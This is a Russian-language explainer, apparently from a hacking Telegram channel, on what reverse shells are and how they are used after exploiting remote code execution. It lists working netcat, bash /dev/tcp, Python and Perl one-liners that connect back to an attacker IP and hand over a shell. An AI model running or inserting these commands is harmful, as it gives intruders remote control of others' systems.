Reverse Shell. Что это и зачем нужно?
https://t.me/hacker_sanctuary
Данный пост будет носить теоретический характер. В нём мы разберём такую тему как reverse-shell (обратный шелл/бекконнект шелл и другие названия).
Что это и зачем нужно?
Из названия можно предположить, что это какой-то вид оболочки (некоторого доступа к определённым ресурсам), как например, SSH для доступа к удалённой машине или обычная консоль в Linux, которая также является видом оболочки.
Reverse - обозначает тип оболочки, всё дело в том, что смысл такой оболочки заключается в коннекте (связи) с удалённым хостом и постоянном взаимодействии с ним. То есть, вы выполняете команду на некоторой машине, после которой данная машина подключается к другой и предоставляет доступ вместе с этим подключением. Как можно предположить, данная вещь используется после эксплуатации уязвимости (например RCE) для закрепления на атакуемой машине и удобного взаимодействия с ней.
Пример шеллов.
Возьмём за основу Linux. Например, вы успешно атаковали сайт и нашли уязвимость выполнения кода, то есть вы можете внедрить некоторый код и хотите получить более удобную оболочку.
Один из самых старых способов: nc -e /bin/sh <your-machine-IP> 1010

Указывается IP-адрес машины и порт к которому необходимо произвести подключение и предоставить шелл. Команда netcat (nc) часто отсутствует на современных серверных дистрибутивах, но может повезти.
Один из самых железных: bash -i >& /dev/tcp/<your-machine-IP>/1010 0>&1

Необходим только bash или другой интерпретатор, который точно всегда установлен.
Также, есть reverse-shell'ы с помощью различных интерпретируемых языков (если они конечно установленны).
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Вы можете найти и другие варианты бек-коннект шеллов, в интернете их полно. Надеюсь, что после данной статьи вы примерно поняли зачем они нужны и как работают.